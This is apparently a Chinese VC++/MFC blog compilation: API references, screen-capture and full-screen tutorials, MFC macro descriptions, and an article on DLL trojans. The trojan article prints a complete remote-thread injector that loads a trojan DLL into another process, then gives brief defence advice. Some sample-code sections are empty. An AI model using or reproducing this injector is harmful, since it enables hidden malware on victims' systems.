BOOL LookupPrivilegeValue(
  LPCTSTR lpSystemName, // address of string specifying the system
  LPCTSTR lpName,  // address of string specifying the privilege
  PLUID lpLuid     // address of locally unique identifier
);
获得一个权限对应的LUID值。
第一个参数是系统的名称,如果是本地系统只要指明为NULL就可以了,第二个参数就是指明了权限的名称,如“SeDebugPrivilege”,第三个参数就是返回LUID的指针。

 


#define SE_BACKUP_NAME       TEXT(“SeBackupPrivilege”)
#define SE_RESTORE_NAME      TEXT(“SeRestorePrivilege”)
#define SE_SHUTDOWN_NAME   TEXT(“SeShutdownPrivilege”)
#define SE_DEBUG_NAME        TEXT(“SeDebugPrivilege”)
…… ……

 

示例代码:

远程控制编程技术–屏幕抓取的实现

一、屏幕抓取的实现:
HICON CWnd::SetIcon( HICON hIcon, BOOL bBigIcon );
(Call this member function to set the handle to a specific icon, as identified by hIcon. When the window class is registered, it selects an icon.)
bBigIcon
Specifies a 32 pixel by 32 pixel icon if TRUE; specifies a 16 pixel by 16 pixel icon if FALSE.
用在对话框中可修改程序图标,其他文档不适用。

 

 

BOOL CWnd::IsIconic( ) const;
(Specifies whether CWnd is minimized (iconic). Nonzero if CWnd is minimized; otherwise 0.)

 

 

HDC CWnd::GetSafeHdc( ) const;
(Call this member function to get m_hDC, the output device context. This member function also works with null pointers. Return Value:A device context handle.)

 

 

int GetSystemMetrics(
int nIndex   // system metric or configuration setting to retrieve
);
(The GetSystemMetrics function retrieves various system metrics (widths and heights of display elements) and system configuration settings. All dimensions retrieved by GetSystemMetrics are in pixels.)

 

 

BOOL DrawIcon( int x, int y, HICON hIcon );
BOOL DrawIcon( POINT point, HICON hIcon );
在当前CDC对象的设备上绘制图标。该函数将图标左上角置于x和y 参数确定的坐标上,位置受到设备上下文的当前映射模式的影响。图标资源必须已由函数CwinApp::LoadIcon, CwinApp::LoadStandardIcon,或CwinApp::LoadOEMIcon预装,使用本函数应优先选择 MM_TEXT 映射模式。

 

 

int CDC::GetDeviceCaps( int nIndex ) const;
(Retrieves a wide range of device-specific information about the display device.)
nIndex
Specifies the type of information to return. It can be any one of the following values:
BITSPIXEL   Number of adjacent color bits for each pixel. 每一像素的颜色字节数
HORZRES   Width of the display (in pixels). 显示宽度(用像素表示)。
VERTRES   Height of the display (in raster lines). 显示高度(用光栅线表示)。
PLANES   Number of color planes. 颜色位面数。
…… ……

int GetObject(
  HGDIOBJ hgdiobj,  // handle to graphics object of interest
  int cbBuffer,     // size of buffer for object information
  LPVOID lpvObject  // pointer to buffer for object information(注意类型)
);
(The GetObject function obtains information about a specified graphics object. Depending on the graphics object, the function places a filled-in BITMAP, DIBSECTION, EXTLOGPEN, LOGBRUSH, LOGFONT, or LOGPEN structure, or a count of table entries (for a logical palette), into a specified buffer.)

 

 

int GetDIBits(
  HDC hdc,           // handle to device context
  HBITMAP hbmp,      // handle to bitmap
  UINT uStartScan,   // first scan line to set in destination bitmap
  UINT cScanLines,   // number of scan lines to copy
  LPVOID lpvBits,    // address of array for bitmap bits
  LPBITMAPINFO lpbi, // address of structure with bitmap data
  UINT uUsage        // RGB or palette index
);
(The GetDIBits function retrieves the bits of the specified bitmap and copies them into a buffer using the specified format.)

 

 

 

 

全屏抓取代码示例:
1.抓取屏幕代码示例,可放于单文档OnDraw函数内部演示:




2.第二段存储图象代码,同上面段放于单文档OnDraw函数内部演示:



3.第三段将图象复制到剪贴板代码:

 


在VC++6.0开发中实现全屏显示

    全屏显示是一些应用软件程序必不可少的功能。比如在用VC++编辑工程源文件或编辑对话框等资源时,选择菜单“ViewFull Screen”,即可进入全屏显示状态,按“Esc”键后会退出全屏显示状态。
  在VC++6.0中我们用AppWizard按默认方式生成单文档界面的应用程序框架。下面将先讨论点击菜单项“ViewFull Screen”实现全屏显示的方法,再讲述按“Esc”键后如何退出全屏显示状态。
  1)在CMainFrame类中,增加如下三个成员变量。

[language=CPP]
Class CMainFrame : public CFrameWnd
{

private: //自己添加的三个成员变量
WINDOWPLACEMENT m_OldWndPlacement;//用来保存原窗口位置
BOOL m_bFullScreen; //全屏显示标志
Crect m_FullScreenRect; //表示全屏显示时的窗口位置
protected: CMainFrame();
DECLARE_DYNCREATE(CMainFrame)

}

[/language]
  2)在资源编辑器中编辑菜单IDR_MAINFRAME。在“View”菜单栏下添加菜单项“Full Screen”。在其属性框中,ID设置为ID_FULL_SCREEN,Caption为“Full Screen”。还可以在工具栏中添加新的工具图标,并使之与菜单项“Full Screen”相关联,即将其ID值也设置为ID_FULL_SCREEN。


  3)设计全屏显示处理函数,在CMainFrame类增加上述菜单项ID_FULL_SCREEN消息的响应函数。响应函数如下:

[language=CPP]
void CMainFrame::OnFullScreen()
{

GetWindowPlacement(&m_OldWndPlacement);
Crect WindowRect;
GetWindowRect(&WindowRect);
Crect ClientRect;
RepositionBars(0, 0xffff, AFX_IDW_PANE_FIRST, reposQuery,&ClientRect);
ClientToScreen(&ClientRect);

//获取屏幕的分辨率
int nFullWidth=GetSystemMetrics(SM_CXSCREEN);
int nFullHeight=GetSystemMetrics(SM_CYSCREEN);
/*将除控制条外的客户区全屏显示到从(0,0)到(nFullWidth, nFullHeight)区域, 将(0,0)和(nFullWidth, nFullHeight)两个点外扩充原窗口和除控制条之外的 客户区位置间的差值, 就得到全屏显示的窗口位置*/
m_FullScreenRect.left=WindowRect.left-ClientRect.left;
m_FullScreenRect.top=WindowRect.top-ClientRect.top;
m_FullScreenRect.right=WindowRect.right-ClientRect.right+nFullWidth;
m_FullScreenRect.bottom=WindowRect.bottom-ClientRect.bottom+nFullHeight;
m_bFullScreen=TRUE; //设置全屏显示标志为 TRUE
//进入全屏显示状态
WINDOWPLACEMENT wndpl;
wndpl.length=sizeof(WINDOWPLACEMENT);
wndpl.flags=0;
wndpl.showCmd=SW_SHOWNORMAL;
wndpl.rcNormalPosition=m_FullScreenRect;
SetWindowPlacement(&wndpl);

}

[/language]
  4)重载CMainFrame类的OnGetMinMaxInfo函数,在全屏显示时提供全屏显示的位置信息。

[language=CPP]
Void CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI)
{

if(m_bFullScreen)
{lpMMI->ptMaxSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxSize.y=m_FullScreenRect.Height();
lpMMI->ptMaxPosition.x=m_FullScreenRect.Width();
lpMMI->ptMaxPosition.y=m_FullScreenRect.Height();
//最大的Track尺寸也要改变
lpMMI->ptMaxTrackSize.x=m_FullScreenRect.Width();
lpMMI->ptMaxTrackSize.y=m_FullScreenRect.Height();
}

CFrameWnd::OnGetMinMaxInfo(lpMMI) ;
}

[/language]

完成上面的编程后,可以联编执行FullScreen.exe,选择菜单“ViewFull Screen”或点击与之关联的工具栏按钮即可进入全屏显示状态。但现在还需要增加用户退出全屏显示状态的操作接口,下面讲述如何编程实现按“Esc”键退出全屏显示状态。


  1)在ClassView中选中CMainFrame并单击鼠标右键,选择“Add Member Function…”,添加public类型的成员函数EndFullScreen,该函数将完成退出全屏显示的操作。

[language=CPP]
Void CMainFrame::EndFullScreen()
{

if(m_bFullScreen)
{

// 退出全屏显示, 恢复原窗口显示
ShowWindow(SW_HIDE);
SetWindowPlacement(&m_OldWndPlacement);

}

}

[/language]
  2)函数EndFullScreen可以退出全屏显示状态,问题是如何在“Esc”键被按下之后调用执行此函数。由于视图类可以处理键盘输入的有关消息(如WM_KEYDOWN表示用户按下了某一个键),我们将在视图类CFullScreenView中添加处理按键消息WM_KEYDOWN的响应函数OnKeyDown。判断如果按的键为“Esc”键,则调用CMainFrame类的函数EndFullScreen,便可退出全屏显示状态。

[language=CPP]
Void CFullScreenView::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags)
{

if(nChar==VK_ESCAPE) //如果按的键为Esc键
{

//获取主框架窗口的指针
CMainFrame *pFrame=(CMainFrame*)AfxGetApp()->m_pMainWnd;
//调用主窗口类的自定义函数 EndFullScreen ,便可退出全屏显示状态
pFrame->EndFullScreen();

}
Cview::OnKeyDown(nChar, nRepCnt, nFlags);

}

[/language]
  这样我们就实现了比较专业的全屏显示的功能,相信肯定会令你设计的软件程序增色不少。




Modified At 2008-03-28 09:29:47

VC++动态链接库编程之DLL木马

DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。

 

DLL木马的原理

 

DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。

 

正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:

 

(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;

 

(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下”蛛丝马迹”,达到隐蔽自身的目的。

 

DLL木马实现了”真隐藏”,我们在任务管理器中看不到木马”进程”,它完全溶进了系统的内核。与”真隐藏”对应的是”假隐藏”,”假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是”假隐藏”木马本质上还具备独立的进程空间。”假隐藏”只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。

 

DLL木马注入其它进程的方法为远程线程插入。

 

远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。

 

DLL木马注入程序

 

这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:

 

(1)CreateRemoteThread 较 CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:

[language=CPP]

HANDLE CreateRemoteThread(

HANDLE hProcess, //远程进程句柄

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId

);

[/language]

(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;

 

(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。

以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中:

[language=CPP]

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void CheckError ( int, int, char *); //出错处理函数

PDWORD pdwThreadId;

HANDLE hRemoteThread, hRemoteProcess;

DWORD fdwCreate, dwStackSize, dwRemoteProcessId;

PWSTR pszLibFileRemote=NULL;

void main(int argc,char **argv)

{

int iReturnCode;

char lpDllFullPathName[MAX_PATH];

WCHAR pszLibFileName[MAX_PATH]={0};

dwRemoteProcessId = 4000;

strcpy(lpDllFullPathName, “d:\\troydll.dll”);

//将DLL文件全路径的ANSI码转换成UNICODE码

iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,

lpDllFullPathName, strlen(lpDllFullPathName),

pszLibFileName, MAX_PATH);

CheckError(iReturnCode, 0, “MultByteToWideChar”);

//打开远程进程

hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程

PROCESS_VM_OPERATION | //允许VM操作

PROCESS_VM_WRITE, //允许VM写

FALSE, dwRemoteProcessId );

CheckError( (int) hRemoteProcess, NULL, “Remote Process not Exist or Access Denied!”);

//计算DLL路径名需要的内存空间

int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);

CheckError((int)pszLibFileRemote, NULL, “VirtualAllocEx”);

//将DLL的路径名复制到远程进程的内存空间

iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);

CheckError(iReturnCode, false, “WriteProcessMemory”);

//计算LoadLibraryW的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);

CheckError((int)pfnStartAddr, NULL, “GetProcAddress”);

//启动远程线程,通过远程线程调用用户的DLL文件

hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);

CheckError((int)hRemoteThread, NULL, “Create Remote Thread”);

//等待远程线程退出

WaitForSingleObject(hRemoteThread, INFINITE);

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

}

//错误处理函数CheckError()

void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)

{

if(iReturnCode==iErrorCode)

{

printf(“%s Error:%d\n\n”, pErrorMsg, GetLastError());

//清场处理

if (pszLibFileRemote != NULL)

{

VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);

}

if (hRemoteThread != NULL)

{

CloseHandle(hRemoteThread );

}

if (hRemoteProcess!= NULL)

{

CloseHandle(hRemoteProcess);

}

exit(0);

}

}

[/language]

从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为:

 

(1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId;

 

(2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName;

 

(3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项:

 

a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

 

b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

 

c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。

 

(4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间;

 

(5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数;

 

(6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL;

 

(7)清理现场。

 

DLL木马的防治

 

从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。

 

一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。

 

对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。”道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,它们看起来也不再”莫名其妙”。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。

本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。

 




Modified At 2008-03-27 22:21:28

Visual C++MFC中常用宏的含义

AND_CATCHAND_CATCH
AND_CATCH(exception_class,exception _object_point_name)
说明:
定义一个代码块,它用于获取废除当前TRY块中的附加异常类型。使用CATCH宏以获得一个异常类型,然后
使用AND_CATCH宏获得随后的异常处理代码可以访问异常对象(若合适的话)已得到关于异常的特别原因的
更多消息。在AND_CATCH块中调用THROW_LAST宏以便把处理过程移到下个外部异常框架。AND_CATCH可标记
CATCH或AND_CATCH块的末尾。
 
注释:
AND_CATCH块被定义成为一个C++作用域(由花括号来描述)。若用户在此作用域定义变量,那么记住他们
只在此作用域中可以访问。他也用于exception_object_pointer_name变量。
 
 
 
ASSERT
ASSERT(booleanExpression)
说明:
计算变量的值。如果结构的值为0,那么此宏便打印一个诊断消息并且成讯运行失败。如果条件为非0,那
么什么也不做。 诊断消息的形式为: assertion failed in file in line 其中name是元文件名,num是
源文件中运行失败的中断号。 在Release版中,ASSERT不计算表达式的值也就不中断程序。如果必须计算
此表达式的值且不管环境如何那么用VERIFY代鍭SSERT。
注释:
ASSERT只能在Debug版中用
 
 
ASSERT_VAILD
ASSERT_VAILD(pObject)
说明:
用于检测关于对象的内部状态的有效性。ASSERT_VALID调用此对象的AssertValid成员函数(把它们作为
自己的变量来传递)。在Release版中ASSERT_VALID什么也不做。在DEBUG版中,他检查指针,以不同于
NULL的方式进行检查,并调用对象自己的AssertValid成员函数。如果这些检测中有任何一个失败的话,
那么他会以与ASSERT相同的方法显示一个警告的消息。
注释:
此函数只在DEBUG版中有效。
 
 
BEGIN_MESSAGE_MAP
BEGIN_MESSAGE_MAP(the class,baseclass)
说明:
使用BEGIN_MESSAGE_MAP开始用户消息映射的定义。在定义用户类函数的工具(.cpp)文件中,以
BEGIN_MESSAGE_MAP宏开始消息映射,然后为每个消息处理函数增加宏项,接着以END_MESSAGE_MAP宏完成
消息映射。
 
 
CATCH
CATCH(exception_class,exception_object_pointer_name)
说明:
使用此用定义一个代码块,此代码用来获取当前TRY块中都一个异常类型。异常处理代码可以访问异常对
象,如何合适的话,就会得到关于异常的特殊原因的更多消息。调用THROW_LAST宏以把处理过程一下一个
外部异常框架,如果exception-class是类CExceptioon,那么会获取所有异常类型。用户可以使用
CObject::IsKindOf成员函数以确定那个特别异常被排除。一种获取异常的最好方式是使用顺序的
AND_CATCH语句,每个带一个不同的异常类型。此异常类型的指针由宏定义,用户不必定义。
注释:
此CATCH块被定义作一个C++范围(由花括号描述)。如用户在此范围定义变量,那么它们只在吃范围内可
以访问。他还可以用于异常对象的指针名。
 
 
DEBUG_NEW
#define new DEBUG_NEW
说明:
帮助查找内存错误。用户在程序中使用DEBUG_NEW,用户通常使用new运算符来从堆上分配。在Debug模式下
(但定义了一个DEBUG符号),DEBUG_NEW为它分配的每个对象记录文件名和行号。然后,在用户使用
CMemoryState::DumpAllObjectSince成员函数时,每个以DEBUG_NEW分配的对象分配的地方显示出文件名
和行号。 为了使用DEBUG_NEW,应在用户的资源文件中插入以下指令: #define new DEBUG_NEW 一旦用户
插入本指令,预处理程序将在使用new的地方插入DEBUG_NEW,而MFC作其余的工作。但用户编译自己的程
序的一个发行版时,DEBUG_NEW便进行简单的new操作,而且不产生文件名和行号消息。
 
 
DECLARE_DYNAMIC
DECLARE_DYNAMIC(class_name)
说明:
但从CObject派生一个类时,此宏增加关于一个对象类的访问运行时间功能。把DECLARE_DYNAMIC宏加入类
的头文件中,然后在全部需要访问词类对象的.CPP文件中都包含此模块。如果像所描述那样使用
DELCARE_DYNAMIC和IMPLEMENT_DYNAMIC宏,那么用户便可使用RUNTIME_CLASS宏和CObject::IsKindOf函数
以在运行时间决定对象类。如果DECLARE_DYNAMIC包含在类定义中,那么IMPLEMETN_DYNAMIC必须包含在类
工具中。
 
 
DECLARE_DYNCREATE
DECLARE_DYNCREATE(class_name)
说明:
使用DECLARE_DYNCRETE宏以便允许CObject派生类的对象在运行时刻自动建立。主机使用此功能自动建立
新对象,例如,但它在串行化过程中从磁盘读一个对象时,文件及视图和框架窗应该支持动态建立,因为
框架需要自动建立它。把DECLARE_DYNCREATE宏加入类的.H文件中,然后在全部需要访问此类对象的.CPP
文件中包含这一模式。如果DECLARE_DYNCREATE包含在类定义中,那么IMPLEMENT_DYNCREATE必须包含在类
工具中。
 
 
DECLARE_MESSAGE_MAP
DECLARE_MESSAGE_MAP()
说明:
用户程序中的每个CCmdTarget派生类必须提供消息映射以处理消息。在类定义的末尾使用
DECLARE_MESSAGE_MAP宏。接着,在定义类成员函数的.CPP文件中,使用BEGIN_MESSAGE_MAP宏,每个用户
消息处理函数的宏项下面的列表以及END_MESSAGE_MAP宏。
注释:
如果在DECLARE_MESSAGE_MAP之后定义任何一个成员,那么必须为他们指定一个新存取类型(公共的,私
有的,保护的)。
 
 
DECLARE_SERIAL
DECLARE_SERIAL(class_name)
说明:
DECLARE_SERIAL为一个可以串行化的CObject派生类产生必要的C++标题代码。串行化是把某个对象的内容
从一个文件读出和写入一文件。在.H文件中使用DECLARE_SERIAL宏,接着在需要访问此类对象的全部.CPP
文件中包含此文件。如果DECLARE_SERIAL包含在类定义中,那么IMPLEMENT_SERIAL必须包含在类工具中。
DECLARE_SERIAL宏包含全部DECLARE_DYNAMIC,IMPLEMENT_DYCREATE的功能。
 
 
END_CATCH
END_CATCH
说明:
标识最后的CATCH或AND_CATCH块的末尾。
 
 
END_MESSAGE_MAP
END_MESSAGE_MAP
说明:
使用END_MESSAGE_MAP宏结束用户的消息映射定义
 
IMPLEMENT_DYNAMIC
IMPLEMENT_DYNAMIC(class_name,base_class_name)
说明:
通过运行时在串行结构中为动态CObject派生类访问类名和位置来产生必要的C++代码。在.CPP文件中使用
IMPLEMENT_DYNAMIC宏,接着一次链接结果对象代码
 
 
IMPLEMENT_DYNCREATE
IMPLEMENT_DYNCREATE(class_name,base_class_name)
说明:
通过DECLARE_DYNCREATE宏来使用IMPLEMENT_DYNCREATE宏,以允许CObject派生类对象在运行时自动建立
。主机使用此功能自动建立对象,例如,但它在串行化过程中从磁盘读去一个对象时,他在类工具里加入
IMPLEMENT_DYNCREATE宏。若用户使用DECLARE_DYNCREATE和IMPLEMENT_DYNCREATE宏,那么接着使用
RUNTIME_CLASS宏和CObject::IsKindOf成员函数以在运行时确定对象类。若declare_dyncreate包含在定
义中,那么IMPLEMENT_DYNCREATE必须包含在类工具中。
 
 
IMPLEMENT_SERIAL
IMPLEMENT_SERIAL(class_name,base_class_name,wSchema)
说明:
通过运行时在串行结构中动态CObject派生类访问类名和位置来建立必要的C++代码。在.CPP文件中使用
IMPLEMENT_SERIAL宏,然后一次链接结果对象代码。
 
 
ON_COMMAND
ON_COMMAND(id,memberFxn)
说明:
此宏通过ClassWizard或手工插入一个消息映射。它表明那个函数将从一个命令用户接口(例如一个菜单
项或toolbar按钮)处理一个命令消息。当一个命令对象通过指定的ID接受到一个Windows WM_COMMAND消
息时,ON_COMMAND将调用成员函数memberFxn处理此消息。在用户的消息映射中,对于每个菜单或加速器
命令(必须被映射到一个消息处理函数)应该确实有一个ON_COMMAND宏语句。
 
 
ON_CONTROL
ON_CONTROL(wNotifyCode,id,memberFxn)
说明:
表明哪个函数将处理一个常规控制表示消息。控制标识消息是那些从一个控制夫发送到母窗口的消息。
 
 
ON_MESSAGE
ON_MESSAGE(message,memberFxn)
说明:
指明哪个函数将处理一用户定义消息。用户定义消息通常定义在WM_USER到0x7FF范围内。用户定义消息是
那些不是标准Windows WM_MESSAGE消息的任何消息。在用户的消息映射中,每个必须被映射到一个消息处
理函数。用户定义消息应该有一个ON_MESSAGE宏语句。
 
 
ON_REGISTERED_MESSAGE
ON_REGISTERED_MESSAGE(nmessageVarible,memberFxn)
说明:
Windows的RegisterWindowsMesage函数用于定义一个新窗口消息,此消息保证在整个系统中是唯一的。此
宏表明哪个函数处理已注册消息。变量nMessageViable应以NEAR修饰符来定义。
 
 
ON_UPDATE_COMMAND_UI
ON_UPDATE_COMMAND_UI(id,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个用户接口个更改命令消息。
在用户的消息映射中,每个用户接口更改命令(比讯被映射到一个消息处理函数)应该有一个
ON_UPDATE_COMMAND_UI宏语句。
 
 
ON_VBXEVENT
ON_VBXEVENT(wNotifyCode,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个来自VBX控制的消息。在用户
的消息映射中每个被映射到一消息处理函数的VBX控制消息应该有一个宏语句。
 
 
RUNTIME_CLASS
RUNTIME_CLASS(class_name)
说明:
使用此宏从c++类民众获取运行时类结构。RUNTIME_CLASS为由class_name指定的类返回一个指针到
CRuntimeClass结构。只有以DECLARE_DYNAMIC,DECLARE_DYNCREATE或DECLARE_SERIAL定义的CObject派生
类才返回到一个CRuntimeClass结构的指针。
 
 
THROW
THROW(exception_object_pointer)
说明:
派出指定的异常。THROW中断程序的运行,把控制传递给用户程序中的相关的CATCH块。如果用户没有提供
CATCH块,那么控制被传递到一个MFC模块,他打印出一个错误并终止运行。
 
 
THROW_LAST
THROW_LAST()
说明:
此宏允许用户派出一个局部建立的异常。如果用户试图排除一个刚发现的异常,那么一般此异常将溢出并
被删除。使用THROW_LAST,此异常被直接传送到下一个CATCH处理程序。
 
 
TRACE
TRACE(exp)
说明:
把一个格式化字符串送到转储设备,例如,文件或调试监视器,而提供与printf相似的功能。同MS_DOS下
C程序的printf一样,TRACE宏是一个在程序运行时跟踪变量值的方便形式。在DEBUG环境中,TRACE宏输出
到afxDump。在Release版中他不做任何工作。
注释:
此宏只在MFC的DEBUG版中有效。
 
 
TRACE0
TRACE0(exp)
说明:
与TRACE相似,但他把跟踪字符串放在代码段中,而不是DGROUP,因此使用少的DGROUP空间。TRACE0是一组
跟踪宏的一个变体,这些宏可用于调试输出。这一组包括TRACE0,TRACE1,TRACE2和TRACE3,这些宏不同在
于所取参数的数目不同。TRACE0只取一个格式化字符串并可用于简单文本消息。TRACE1取一格式化字符串
加上一个变量——一个将转储的变量。同样,TRACE2,TRACE3分别取2个或3个参数(在格式化字符串之后
)。如果用户以便以了应用程序的发行版,那么它只把数据转储到afxDump。
注释:
此宏只在MFC的DEBUG中有效。
 
 
TRACE1
TRACE1(exp,param1)
说明:
参见TRACE0
 
 
TRACE2
TRACE2(exp,param1,param2)
说明:
参见TRACE0
 
 
TRACE3
TRACE3(exp,param1,param2,param3)
说明:
 
 
TRY
TRY
说明:
使用此宏建立一TRY块。一个TRY识别一个可排除异常的代码块。这些异常在随后的CATCH和AND_CATCH块处
理。传递是允许的:异常可以传递一个外部TRY块,或者忽略它们或者使用THROW_LAST宏。
 
 
VERIFY
VERIFY(booleanExpression)
说明:
在MFC的DEBUG版中,VERIFY宏计算它的变量值。 如果结果为0,那么宏打印一个诊断消息并中止程序。如
果条件不为0,那么什么工作也不作。 诊断有如下形式: assertion failed in file in line 其中name
是源文件的名字,num是在源文件中失败的中止行号。在MFC的Release版中,VERIFY计算表达式值但不打
印或中止程序。例如:如果表达式是个函数调用,那么调用成功。